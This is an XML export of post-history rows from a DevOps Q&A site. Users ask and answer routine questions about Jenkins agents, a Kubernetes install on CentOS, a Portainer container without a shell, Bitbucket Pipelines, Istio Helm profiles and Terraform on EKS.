  <row Id="40339" PostHistoryTypeId="2" PostId="13110" RevisionGUID="24387c1f-48bf-4b33-a7cf-6891f95f974f" CreationDate="2021-01-09T11:43:49.713" UserId="12614" Text="I've added a Jenkins windows slave to a Jenkins master running on Linux not too long ago and wrote the steps I've taken for future use.&#xD;&#xA;&#xD;&#xA;Here's what needs to be done:&#xD;&#xA;&#xD;&#xA;Jenkins service on the windows slave needs to be started with a dedicated user rather than local system account.&#xD;&#xA;&#xD;&#xA;Then I had some problems when I tried connecting from the master jenkins to this windows-jenkins-slave of &quot;Access denied&quot; - when the master tried to start the local service.&#xD;&#xA;&#xD;&#xA;In order to avoid &quot;Access denied&quot; errors when the master tries connecting to windows slave, follow these steps:&#xD;&#xA;&#xD;&#xA;* Create a dedicated user for jenkins which is a member of the local administrative group on the windows-jenkins-slave.&#xD;&#xA;* Allow the local administrator group full control over the following registry values:&#xD;&#xA;- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}&#xD;&#xA;&#xD;&#xA;- HKEY_CLASSES_ROOT\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}&#xD;&#xA;Configure the node in master jenkins like so:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this jenkins user is the local user I've created.&#xD;&#xA;&#xD;&#xA;* Add this local jenkins user to the jenkins service as the log on user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/cD3F2.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40340" PostHistoryTypeId="50" PostId="4336" RevisionGUID="5241785e-9d03-4f94-a6aa-45d89fc8f09f" CreationDate="2021-01-09T15:02:35.240" UserId="-1" />
  <row Id="40341" PostHistoryTypeId="2" PostId="13111" RevisionGUID="bf76623c-462a-47ec-ae9c-dc65f91491c8" CreationDate="2021-01-09T17:04:14.493" UserId="12203" Text="Following the [official documentation][1], I have an error when trying to install kubernetes cluster yum package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/&#xD;&#xA;&#xD;&#xA;I am on Centos 7 using yum. So I run this commands:&#xD;&#xA;````&#xD;&#xA;cat &lt;&lt;EOF | sudo tee /etc/yum.repos.d/kubernetes.repo&#xD;&#xA;[kubernetes]&#xD;&#xA;name=Kubernetes&#xD;&#xA;baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-\$basearch&#xD;&#xA;enabled=1&#xD;&#xA;gpgcheck=1&#xD;&#xA;repo_gpgcheck=1&#xD;&#xA;gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg&#xD;&#xA;EOF&#xD;&#xA;&#xD;&#xA;# Set SELinux in permissive mode (effectively disabling it) &#xD;&#xA;setenforce 0&#xD;&#xA;sed -i 's/^SELINUX=enforcing$/SELINUX=permissive/' /etc/selinux/config&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Indeed when I am trying to run `yum install -y kubelet kubeadm kubectl` I have this error:&#xD;&#xA;```&#xD;&#xA;Loading mirror speeds from cached hostfile&#xD;&#xA;No package kubelet available.&#xD;&#xA;No package kubeadm available.&#xD;&#xA;No package kubectl available.&#xD;&#xA;Error: Nothing to do&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What if the real problem about the installation ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="40342" PostHistoryTypeId="1" PostId="13111" RevisionGUID="bf76623c-462a-47ec-ae9c-dc65f91491c8" CreationDate="2021-01-09T17:04:14.493" UserId="12203" Text="Failed to install kubernetes on centos" ContentLicense="CC BY-SA 4.0" />
  <row Id="40343" PostHistoryTypeId="3" PostId="13111" RevisionGUID="bf76623c-462a-47ec-ae9c-dc65f91491c8" CreationDate="2021-01-09T17:04:14.493" UserId="12203" Text="&lt;kubernetes&gt;&lt;linux&gt;&lt;kubectl&gt;&lt;centos&gt;&lt;kubeadm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40344" PostHistoryTypeId="5" PostId="13110" RevisionGUID="aaebf806-3f47-4ba5-a241-5234479c8c03" CreationDate="2021-01-09T21:21:10.860" UserId="12614" Comment="added 83 characters in body" Text="I've added a Jenkins windows slave to a Jenkins master running on Linux not too long ago and wrote the steps I've taken for future use.&#xD;&#xA;&#xD;&#xA;Here's what needs to be done:&#xD;&#xA;&#xD;&#xA;Jenkins service on the windows slave needs to be started with a dedicated user rather than local system account.&#xD;&#xA;&#xD;&#xA;Then I had some problems when I tried connecting from the master jenkins to this windows-jenkins-slave of &quot;Access denied&quot; - when the master tried to start the local service.&#xD;&#xA;&#xD;&#xA;In order to avoid &quot;Access denied&quot; errors when the master tries connecting to windows slave, follow these steps:&#xD;&#xA;&#xD;&#xA;* Create a dedicated user for jenkins which is a member of the local administrative group on the windows-jenkins-slave.&#xD;&#xA;* Allow the local administrator group full control over the following registry values:&#xD;&#xA;- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}&#xD;&#xA;&#xD;&#xA;- HKEY_CLASSES_ROOT\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}&#xD;&#xA;&#xD;&#xA;And then reboot the windows agent to apply the changes to the registry.&#xD;&#xA;&#xD;&#xA;Then, Configure the node in master Jenkins like so:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this jenkins user is the local user I've created.&#xD;&#xA;&#xD;&#xA;* Add this local jenkins user to the jenkins service as the log on user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/cD3F2.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40352" PostHistoryTypeId="2" PostId="13114" RevisionGUID="1769be7c-2db9-432b-bc9c-d9e193a136d2" CreationDate="2021-01-10T18:40:03.420" UserId="25562" Text="I cant connect to my running container with portainer.&#xD;&#xA;I tried already executing `docker exec -it &lt;CONTAINER-ID&gt; /bin/bash`. Also changed the shell path many times (/bin/sh, /usr/bin/sh, bash). Every time I get message `OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused &quot;exec: \&quot;/bin/bash\&quot;: stat /bin/bash: no such file or directory&quot;: unknown`.&#xD;&#xA;Container was created with command: ` docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce`. Can you tell me why I can't connect to this container only? Portainer web interface is working fine... I thought each container had access to shell, and basic tools such as ls" ContentLicense="CC BY-SA 4.0" />
  <row Id="40353" PostHistoryTypeId="1" PostId="13114" RevisionGUID="1769be7c-2db9-432b-bc9c-d9e193a136d2" CreationDate="2021-01-10T18:40:03.420" UserId="25562" Text="Cant ssh into running container containing portainer through docker exec" ContentLicense="CC BY-SA 4.0" />
  <row Id="40354" PostHistoryTypeId="3" PostId="13114" RevisionGUID="1769be7c-2db9-432b-bc9c-d9e193a136d2" CreationDate="2021-01-10T18:40:03.420" UserId="25562" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40355" PostHistoryTypeId="2" PostId="13115" RevisionGUID="29de0d75-9307-4e56-9ecc-954d000b6387" CreationDate="2021-01-10T19:55:58.307" UserId="6162" Text="&gt;I thought each container had access to shell, and basic tools such as ls&#xD;&#xA;&#xD;&#xA;Only containers that have included a shell has support for a shell." ContentLicense="CC BY-SA 4.0" />
  <row Id="40356" PostHistoryTypeId="5" PostId="13114" RevisionGUID="282db228-596f-4622-b159-018f2bfef652" CreationDate="2021-01-10T21:05:35.493" UserId="6162" Comment="improved formatting" Text="I cant connect to my running container with portainer.&#xD;&#xA;I tried already executing `docker exec -it &lt;CONTAINER-ID&gt; /bin/bash`. Also changed the shell path many times (/bin/sh, /usr/bin/sh, bash). Every time I get message:&#xD;&#xA;&#xD;&#xA;&gt;OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused &quot;exec: \&quot;/bin/bash\&quot;: stat /bin/bash: no such file or directory&quot;: unknown&#xD;&#xA;&#xD;&#xA;Container was created with command: &#xD;&#xA;```&#xD;&#xA;docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Can you tell me why I can't connect to this container only? Portainer web interface is working fine... I thought each container had access to shell, and basic tools such as `ls`" ContentLicense="CC BY-SA 4.0" />
  <row Id="40357" PostHistoryTypeId="24" PostId="13114" RevisionGUID="282db228-596f-4622-b159-018f2bfef652" CreationDate="2021-01-10T21:05:35.493" Comment="Proposed by 6162 approved by 40 edit id of 1318" ContentLicense="CC BY-SA 4.0" />
  <row Id="40358" PostHistoryTypeId="2" PostId="13116" RevisionGUID="784b22ab-4806-41a3-b97d-c7f30c303ba4" CreationDate="2021-01-11T09:25:41.170" UserId="19437" Text="I am trying to store pip libraries installed in the initial step as artifacts, so that it can be reused in the parallel steps later on. Unfortunately, when &quot;Test part 1&quot; and &quot;Test part 2&quot; are executed, mentioned libraries does not exist.&#xD;&#xA;&#xD;&#xA;Moreover, mentioned artifacts are not visible even in the Artifacts tab in Bitbucket window&#xD;&#xA;&#xD;&#xA;    image: python:3.8&#xD;&#xA;    &#xD;&#xA;    options:&#xD;&#xA;      max-time: 20&#xD;&#xA;    &#xD;&#xA;    definitions:&#xD;&#xA;      steps:&#xD;&#xA;        - step: &amp;fetch-and-build&#xD;&#xA;            name: Update image&#xD;&#xA;            caches:&#xD;&#xA;              - pip&#xD;&#xA;              - docker&#xD;&#xA;            services:&#xD;&#xA;              - docker&#xD;&#xA;            script:&#xD;&#xA;              - pip install -r requirements.txt -U&#xD;&#xA;              - pip list -v&#xD;&#xA;            artifacts:&#xD;&#xA;              - /usr/local/lib/python3.8/**&#xD;&#xA;      services:&#xD;&#xA;        postgres:&#xD;&#xA;          image: postgres&#xD;&#xA;          memory: 512&#xD;&#xA;          variables:&#xD;&#xA;            POSTGRES_HOST_AUTH_METHOD: 'trust'&#xD;&#xA;        redis:&#xD;&#xA;          image: redis&#xD;&#xA;          memory: 256&#xD;&#xA;        docker:&#xD;&#xA;          memory: 2048&#xD;&#xA;    &#xD;&#xA;      default:&#xD;&#xA;        - step: *fetch-and-build&#xD;&#xA;        - parallel:&#xD;&#xA;          - step:&#xD;&#xA;              name: &quot;Test part 1&quot;&#xD;&#xA;              caches:&#xD;&#xA;                - pip&#xD;&#xA;                - docker&#xD;&#xA;              script:&#xD;&#xA;                - pip list -v&#xD;&#xA;                - export COVERAGE_PROCESS_START=./.coveragerc&#xD;&#xA;                - coverage run --parallel-mode --concurrency=multiprocessing --rcfile=./.coveragerc manage.py test -v 3 --parallel=5 payments&#xD;&#xA;              services:&#xD;&#xA;                - redis&#xD;&#xA;                - postgres&#xD;&#xA;                - docker&#xD;&#xA;              artifacts:&#xD;&#xA;                - htmlcov/**&#xD;&#xA;                - htmlcov/index.html&#xD;&#xA;                - coverage/.coverage&#xD;&#xA;                - /usr/local/lib/python3.8/**&#xD;&#xA;          - step:&#xD;&#xA;                name: &quot;Test part 2&quot;&#xD;&#xA;                caches:&#xD;&#xA;                  - pip&#xD;&#xA;                  - docker&#xD;&#xA;                script:&#xD;&#xA;                  - export COVERAGE_PROCESS_START=./.coveragerc&#xD;&#xA;                  - coverage run --parallel-mode --concurrency=multiprocessing --rcfile=./.coveragerc manage.py test -v 3 --parallel=5 feed jobs&#xD;&#xA;                services:&#xD;&#xA;                  - redis&#xD;&#xA;                  - postgres&#xD;&#xA;                  - docker&#xD;&#xA;                artifacts:&#xD;&#xA;                  - htmlcov/**&#xD;&#xA;                  - htmlcov/index.html&#xD;&#xA;                  - coverage/.coverage&#xD;&#xA;                  - /usr/local/lib/python3.8/**" ContentLicense="CC BY-SA 4.0" />
  <row Id="40359" PostHistoryTypeId="1" PostId="13116" RevisionGUID="784b22ab-4806-41a3-b97d-c7f30c303ba4" CreationDate="2021-01-11T09:25:41.170" UserId="19437" Text="Bitbucket Pipelines - share pip libraries across multiple steps" ContentLicense="CC BY-SA 4.0" />
  <row Id="40360" PostHistoryTypeId="3" PostId="13116" RevisionGUID="784b22ab-4806-41a3-b97d-c7f30c303ba4" CreationDate="2021-01-11T09:25:41.170" UserId="19437" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40361" PostHistoryTypeId="2" PostId="13117" RevisionGUID="7df0a291-101a-4416-9fef-403f7b0f8742" CreationDate="2021-01-11T09:55:36.807" UserId="25564" Text="I am struggling with this issue inside my pipeline. I am trying to use python's docker image as my agent and run some scripts and I am receiving warning:&#xD;&#xA;&#xD;&#xA;    Warning: JENKINS-41339 probably bogus PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools:/opt/android-sdk-linux/tools:/opt/android-sdk-linux/platform-tools; perhaps you meant to use ‘PATH+EXTRA=/something/bin’&#xD;&#xA;&#xD;&#xA;I do not have access to Jenkins server global variables configuration. I am using one of the slaves.&#xD;&#xA;&#xD;&#xA;I have read other issues about this problem [stackoverflow/43987005][1] and [stackoverflow/44378221][2]. Also discussion on [Jenkins forum][3] and Jenkins official [documentation][4].&#xD;&#xA;&#xD;&#xA;This is code I am executing:&#xD;&#xA;&#xD;&#xA;    //  https://www.jenkins.io/doc/book/pipeline/syntax/&#xD;&#xA;    pipeline {&#xD;&#xA;      environment {&#xD;&#xA;        PATH = &quot;/bin/sh:$PATH&quot;&#xD;&#xA;      }&#xD;&#xA;      agent {&#xD;&#xA;        docker {&#xD;&#xA;          image &quot;python:3.9&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage('Test') {&#xD;&#xA;          steps {&#xD;&#xA;            withEnv([&quot;PATH+EXTRA=$PATH&quot;]) {&#xD;&#xA;              sh &quot;PATH is: $PATH&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;          post {&#xD;&#xA;            cleanup {&#xD;&#xA;              cleanWs()&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Build') {&#xD;&#xA;          steps {&#xD;&#xA;            echo &quot;'Let's build&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy') {&#xD;&#xA;          steps {&#xD;&#xA;            echo &quot;'Let's deploy&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Problem appeared after I wanted to implement docker image as agent and by changing ***environment*** section inside my pipeline still haven't fixed my problem. I was trying also these alternatives:&#xD;&#xA;&#xD;&#xA;    PATH = &quot;/usr/local/bin:$PATH&quot;&#xD;&#xA;    PATH = &quot;/usr/local/bin:${env.PATH}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43987005/jenkins-does-not-recognize-command-sh&#xD;&#xA;  [2]: https://stackoverflow.com/questions/44378221/export-command-in-jenkins-pipeline/&#xD;&#xA;  [3]: https://issues.jenkins.io/browse/JENKINS-41339&#xD;&#xA;  [4]: https://www.jenkins.io/doc/book/pipeline/docker/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40362" PostHistoryTypeId="1" PostId="13117" RevisionGUID="7df0a291-101a-4416-9fef-403f7b0f8742" CreationDate="2021-01-11T09:55:36.807" UserId="25564" Text="Jenkins pipeline Warning: JENKINS-41339 probably bogus PATH" ContentLicense="CC BY-SA 4.0" />
  <row Id="40363" PostHistoryTypeId="3" PostId="13117" RevisionGUID="7df0a291-101a-4416-9fef-403f7b0f8742" CreationDate="2021-01-11T09:55:36.807" UserId="25564" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40364" PostHistoryTypeId="2" PostId="13118" RevisionGUID="a8cd65e3-f60a-4ae1-873d-3994006eaf20" CreationDate="2021-01-11T13:28:22.177" UserId="12833" Text="Cloud setup could be done completly by Terraform. Check out terraform provider resources for required parameters ex. [Azure Data Factory][1]&#xD;&#xA;&#xD;&#xA;Configuration management stuff mostly in use for OS tuning inside Virtual Machines. So maybe you don't need them at all.&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/data_factory" ContentLicense="CC BY-SA 4.0" />
  <row Id="40365" PostHistoryTypeId="34" PostId="12803" RevisionGUID="ef06a3a9-e486-4512-ae40-5fbd3f8ff205" CreationDate="2021-01-11T17:00:51.960" UserId="24521" Comment="65" />
  <row Id="40367" PostHistoryTypeId="2" PostId="13119" RevisionGUID="12b24bfb-e2fd-48c0-9ac9-d0a804d35c8d" CreationDate="2021-01-11T18:13:43.707" UserId="12614" Text="Since I'm using Jenkins official helm chart which contains [JCasC plugin (Jenkins Configuration as Code)][1], I was able to configure the static slave attachment using it including the creation of relevant credentials.&#xD;&#xA;&#xD;&#xA;Here's the relevant section of the values.yaml file I use to install/upgrade the Jenkins helm chart:&#xD;&#xA;&#xD;&#xA;    JCasC:&#xD;&#xA;        defaultConfig: true&#xD;&#xA;        configScripts:&#xD;&#xA;          credentials: |&#xD;&#xA;            credentials:&#xD;&#xA;              system:&#xD;&#xA;                domainCredentials:&#xD;&#xA;                  - credentials:&#xD;&#xA;                      - usernamePassword:&#xD;&#xA;                          scope: GLOBAL&#xD;&#xA;                          id: &quot;CentOS_7.1_k4.14.11_ssh_password&quot;&#xD;&#xA;                          username: 'jenkins'&#xD;&#xA;                          password: ${decodeBase64:BASE64ENCODEDPASSWD}&#xD;&#xA;                          description: &quot;Username/Password Credentials for CentOS_7.1_k4.14.11&quot;&#xD;&#xA;          permanent-nodes: |&#xD;&#xA;            jenkins:&#xD;&#xA;              nodes:&#xD;&#xA;                - permanent:&#xD;&#xA;                    name: &quot;CentOS 7.1 k4.14.11&quot;&#xD;&#xA;                    remoteFS: &quot;/home/jenkins&quot;&#xD;&#xA;                    numExecutors: 2&#xD;&#xA;                    labelString: &quot;CentOS_7.1_k4.14.11&quot;&#xD;&#xA;                    mode: EXCLUSIVE&#xD;&#xA;                    retentionStrategy: &quot;always&quot;&#xD;&#xA;                    launcher:&#xD;&#xA;                      SSH:&#xD;&#xA;                        jvmOptions: &quot;-Xms256m -Xmx1024m -XX:MaxPermSize=1024m&quot;&#xD;&#xA;                        credentialsId: &quot;CentOS_7.1_k4.14.11_ssh_password&quot;&#xD;&#xA;                        host: &quot;10.1.66.120&quot;&#xD;&#xA;                        port: 22&#xD;&#xA;                        sshHostKeyVerificationStrategy:&#xD;&#xA;                          manuallyTrustedKeyVerificationStrategy:&#xD;&#xA;                            requireInitialManualTrust: false&#xD;&#xA;&#xD;&#xA;Now whenever I re-deploy or upgrade Jenkins helm chart, it automatically configures these credentials and add the static slave.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/projects/jcasc/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40368" PostHistoryTypeId="2" PostId="13120" RevisionGUID="b2894d40-088a-4f5a-8cfb-52bf3d198c35" CreationDate="2021-01-11T19:18:37.393" UserId="25573" Text="I am looking at the documentation to install Istio using helm:&#xD;&#xA;&#xD;&#xA;https://istio.io/latest/docs/setup/install/helm/&#xD;&#xA;&#xD;&#xA;I want to use a custom profile that I have a yaml for. However, on that page I do not see options for installing using a different istio profile. I see for 1.8 the istio profiles are kept under *manifests/profiles* in the istio download directory, and the helm charts that you install are under *manifests/charts* (I assume these charts are written to use the default profile?). I tried doing:&#xD;&#xA;&#xD;&#xA;    helm install -n istio-system &lt;istio service&gt; -f manifests/profiles/myprofile.yaml&#xD;&#xA;&#xD;&#xA;but this does not work for profiles; -f is apparently only for including a values override file, and the profile yaml has a different structure. I would hate to have to restructure everything as values; there is a lot of replication info, etc. that is stored in the profile data and not in the values. Does anyone have an idea how to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40369" PostHistoryTypeId="1" PostId="13120" RevisionGUID="b2894d40-088a-4f5a-8cfb-52bf3d198c35" CreationDate="2021-01-11T19:18:37.393" UserId="25573" Text="How do I install Istio 1.8 using Helm with custom profile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40370" PostHistoryTypeId="3" PostId="13120" RevisionGUID="b2894d40-088a-4f5a-8cfb-52bf3d198c35" CreationDate="2021-01-11T19:18:37.393" UserId="25573" Text="&lt;helm&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40371" PostHistoryTypeId="6" PostId="13120" RevisionGUID="a3c6061e-7441-472f-b2b0-d8fc624f65cb" CreationDate="2021-01-11T19:40:18.167" UserId="6162" Comment="added tag to describe context" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40372" PostHistoryTypeId="24" PostId="13120" RevisionGUID="a3c6061e-7441-472f-b2b0-d8fc624f65cb" CreationDate="2021-01-11T19:40:18.167" Comment="Proposed by 6162 approved by 25573 edit id of 1319" ContentLicense="CC BY-SA 4.0" />
  <row Id="40373" PostHistoryTypeId="2" PostId="13121" RevisionGUID="263da500-4274-4822-8b32-78fc9ecd37c0" CreationDate="2021-01-11T21:48:13.033" UserId="25575" Text="Currently developers push to master, jenkins picks that up, builds it, and then I go to artifacts, download the APK files and upload them in a Microsoft teams group so that the QA team can download either the latest or any previous version i had uploaded before&#xD;&#xA;&#xD;&#xA;I want to change this process to make it more efficient. I want something with a UI that the QA team can go to and download whichever version of the app (APK files) they want.&#xD;&#xA;&#xD;&#xA;I want it all to be automated, so as soon as I push the master, Jenkins will build and the files will eventually show in this portal, webpage or section of Jenkins and the QA team can download which ever version they want&#xD;&#xA;How can I achieve this? is there a Jenkins plugin rot this? Any ideas are appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40374" PostHistoryTypeId="1" PostId="13121" RevisionGUID="263da500-4274-4822-8b32-78fc9ecd37c0" CreationDate="2021-01-11T21:48:13.033" UserId="25575" Text="How can I make artifacts available to the QA team in with a user friendly UI" ContentLicense="CC BY-SA 4.0" />
  <row Id="40375" PostHistoryTypeId="3" PostId="13121" RevisionGUID="263da500-4274-4822-8b32-78fc9ecd37c0" CreationDate="2021-01-11T21:48:13.033" UserId="25575" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40376" PostHistoryTypeId="2" PostId="13122" RevisionGUID="6be564dc-a399-4549-a138-b07aec629afb" CreationDate="2021-01-11T23:27:26.477" UserId="25221" Text="Is it possible to deploy an app with terraform to an already existing eks cluster (one that was not created with terraform)?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  required_providers {&#xD;&#xA;    aws = {&#xD;&#xA;      source  = &quot;hashicorp/aws&quot;&#xD;&#xA;      version = &quot;~&gt; 3.0&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Configure the AWS Provider&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;  region = &quot;us-east-2&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;kubernetes_deployment&quot; &quot;test-app&quot; {&#xD;&#xA;  metadata {&#xD;&#xA;    name = &quot;test-app&quot;&#xD;&#xA;    labels = {&#xD;&#xA;      App = &quot;test&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  spec {&#xD;&#xA;    replicas = 2&#xD;&#xA;    selector {&#xD;&#xA;      match_labels = {&#xD;&#xA;        App = &quot;test&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    template {&#xD;&#xA;      metadata {&#xD;&#xA;        labels = {&#xD;&#xA;          App = &quot;test&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      spec {&#xD;&#xA;        container {&#xD;&#xA;          image = &quot;411037401432.dkr.ecr.us-east-2.amazonaws.com/test:latest&quot;&#xD;&#xA;          name  = &quot;test&quot;&#xD;&#xA;&#xD;&#xA;          port {&#xD;&#xA;            container_port = 80&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="40377" PostHistoryTypeId="1" PostId="13122" RevisionGUID="6be564dc-a399-4549-a138-b07aec629afb" CreationDate="2021-01-11T23:27:26.477" UserId="25221" Text="Terraform app deployment to existing eks cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="40378" PostHistoryTypeId="3" PostId="13122" RevisionGUID="6be564dc-a399-4549-a138-b07aec629afb" CreationDate="2021-01-11T23:27:26.477" UserId="25221" Text="&lt;terraform&gt;&lt;deployment&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40379" PostHistoryTypeId="2" PostId="13123" RevisionGUID="f769509f-dad4-479d-a3e2-260e682b739e" CreationDate="2021-01-12T00:52:13.170" UserId="12614" Text="It seems to me that you're looking for an artifact store such as [Nexus][1] or [Artifactory][2].&#xD;&#xA;&#xD;&#xA;Both solutions have Jenkins plugins which will simplify the process of uploading your artifacts to them.&#xD;&#xA;&#xD;&#xA;You can find an example as to how to upload artifacts from your Jenkins pipeline to Nexus in [this link][3] and an example for Artifactory in [this link][4].&#xD;&#xA;&#xD;&#xA;Both solutions are very common and relatively easy to manage and use and are known by the community for a long time so you can find many tutorials that explain how they can be used and benefit you.&#xD;&#xA;&#xD;&#xA;Then, you just need to allow your QA team read access to the relevant artifacts repo and they can download whatever version of the artifacts they need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus/repository-oss&#xD;&#xA;  [2]: https://jfrog.com/artifactory/start-free/&#xD;&#xA;  [3]: https://dzone.com/articles/jenkins-publish-maven-artifacts-to-nexus-oss-using&#xD;&#xA;  [4]: https://www.jfrog.com/confluence/display/JFROG/Scripted+Pipeline+Syntax" ContentLicense="CC BY-SA 4.0" />
  <row Id="40380" PostHistoryTypeId="2" PostId="13124" RevisionGUID="29df2d99-fe5c-400f-9a0f-6d45115d8cd1" CreationDate="2021-01-12T07:20:19.440" UserId="13379" Text="The answer @itai-ganot provides is the &quot;best approach&quot;. &#xD;&#xA;&#xD;&#xA;An alternative is to leverage Jenkins [&quot;Archive Artifacts&quot;](https://www.jenkins.io/doc/pipeline/steps/core/) option ; [example here](https://www.jenkins.io/doc/pipeline/tour/tests-and-artifacts/) and provide your QA people Read access to Jenkins instance. Intro to [Access Control](https://www.jenkins.io/doc/book/managing/security/#access-control) &#xD;&#xA;&#xD;&#xA;Be aware you should implement [strategy to manage the builds and artifacts](https://stackoverflow.com/a/63645491/598141) or you'll quickly run out of space (or accumulate garbage). &#xD;&#xA;&#xD;&#xA;You can also [copy those artifacts to another job workspace or elsewhere](https://stackoverflow.com/a/64291825/598141).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40381" PostHistoryTypeId="5" PostId="13124" RevisionGUID="4c469d48-567b-4ba7-8d44-c4e9ce6b8ce1" CreationDate="2021-01-12T07:26:18.100" UserId="13379" Comment="added 9 characters in body" Text="The answer @itai-ganot provides is the &quot;best approach&quot;. &#xD;&#xA;&#xD;&#xA;A &quot;simpler&quot; alternative is to leverage Jenkins [&quot;Archive Artifacts&quot;](https://www.jenkins.io/doc/pipeline/steps/core/) option ; [example here](https://www.jenkins.io/doc/pipeline/tour/tests-and-artifacts/) and provide your QA people Read access to Jenkins instance. Intro to [Access Control](https://www.jenkins.io/doc/book/managing/security/#access-control) &#xD;&#xA;&#xD;&#xA;Be aware you should implement [strategy to manage the builds and artifacts](https://stackoverflow.com/a/63645491/598141) or you'll quickly run out of space (or accumulate garbage). &#xD;&#xA;&#xD;&#xA;You can also [copy those artifacts to another job workspace or elsewhere](https://stackoverflow.com/a/64291825/598141).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40384" PostHistoryTypeId="2" PostId="13126" RevisionGUID="c7c80561-f3a6-4aad-8caf-8898f1858d04" CreationDate="2021-01-12T15:50:51.490" UserId="25586" Text="Containers may or may not include a shell, depending on how the container was built. Looking at [docker hub](https://hub.docker.com/r/portainer/base) it looks like the base image may be based on a &quot;scratch&quot; image, meaning that there may not be anything in the container other than the code needed to run the portainer service. The image layers [here](https://hub.docker.com/layers/portainer/portainer-ce/latest/images/sha256-77917f339201db91aa25e9498bc130aaf46faa69d16c78088d422df85ce114b1?context=explore) also suggest this is the case.&#xD;&#xA;&#xD;&#xA;If you want a shell, you may want to use the `portainer/portainer-ca:alpine` tag. That should give you a container with a full alpine os (and the shell you are looking for). As another note, you may want to try using `/bin/sh` instead as not all images provide a bash shell." ContentLicense="CC BY-SA 4.0" />
